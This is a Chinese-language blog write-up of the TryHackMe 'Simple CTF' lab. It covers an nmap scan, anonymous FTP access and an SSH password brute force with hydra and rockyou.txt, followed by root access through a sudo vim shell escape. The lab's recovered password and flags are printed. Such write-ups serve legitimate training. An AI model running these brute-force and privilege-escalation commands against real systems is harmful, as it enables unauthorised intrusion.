美文网首页
【Tryhackme】Simple CTF(ssh爆破,vim提

【Tryhackme】Simple CTF(ssh爆破,vim提

作者: 天线锅仔 | 来源:发表于2021-09-19 22:13 被阅读0次

服务发现

┌──(root💀kali)-[~/tryhackme/simplectf]
└─# nmap -sC -Pn -A  10.10.161.108
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-19 09:44 EDT
Nmap scan report for 10.10.161.108
Host is up (0.32s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: socket TIMEOUT
| ftp-syst: 
|   STAT: 230
|_Login successful.
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (92%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 5.4 (86%), Linux 2.6.32 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   175.79 ms 10.13.0.1
2   ... 3
4   312.93 ms 10.10.161.108

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .


尝试匿名登陆ftp,找到一个文件,把文件下载到本地

└─# ftp 10.10.161.108
Connected to 10.10.161.108.
220 (vsFTPd 3.0.3)
Name (10.10.161.108:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
226 Directory send OK.
ftp> get ForMitch.txt
local: ForMitch.txt remote: ForMitch.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ForMitch.txt (166 bytes).
226 Transfer complete.
166 bytes received in 0.00 secs (578.9620 kB/s)

在本地查看文件内容,提示有一个弱密码,可能可以爆破ssh,用户名可能是mitch

┌──(root💀kali)-[~/tryhackme/simplectf]
└─# cat ForMitch.txt 
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

尝试爆破ssh,成功爆破密码

┌──(root💀kali)-[~/tryhackme/simplectf]
└─# hydra -l mitch -P /usr/share/wordlists/rockyou.txt  10.10.161.108 ssh -s 2222
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-19 09:58:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.161.108:2222/
[2222][ssh] host: 10.10.161.108   login: mitch   password: secret
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-19 09:58:39

成功登陆,拿到user.txt

┌──(root💀kali)-[/usr/share/wordlists]
└─# ssh mitch@10.10.161.108 -p 2222                                                                       130 ⨯
The authenticity of host '[10.10.161.108]:2222 ([10.10.161.108]:2222)' can't be established.
ECDSA key fingerprint is SHA256:Fce5J4GBLgx1+iaSMBjO+NFKOjZvL5LOVF5/jc0kwt8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.161.108]:2222' (ECDSA) to the list of known hosts.
mitch@10.10.161.108's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ whoami
mitch
$ ls /home
mitch  sunbath
$ cat /home/mitch/user.txt
G00d j0b, keep up!

sudo -l 查看此账号权限,发现可以可以无需密码使用root权限下的vim

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

利用vim提权到root,拿到root.txt

$ sudo vim -c ':!/bin/sh'

# id     
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
W3ll d0n3. You made it!

相关文章

网友评论

      本文标题:【Tryhackme】Simple CTF(ssh爆破,vim提

      本文链接:https://www.haomeiwen.com/subject/eiwpgltx.html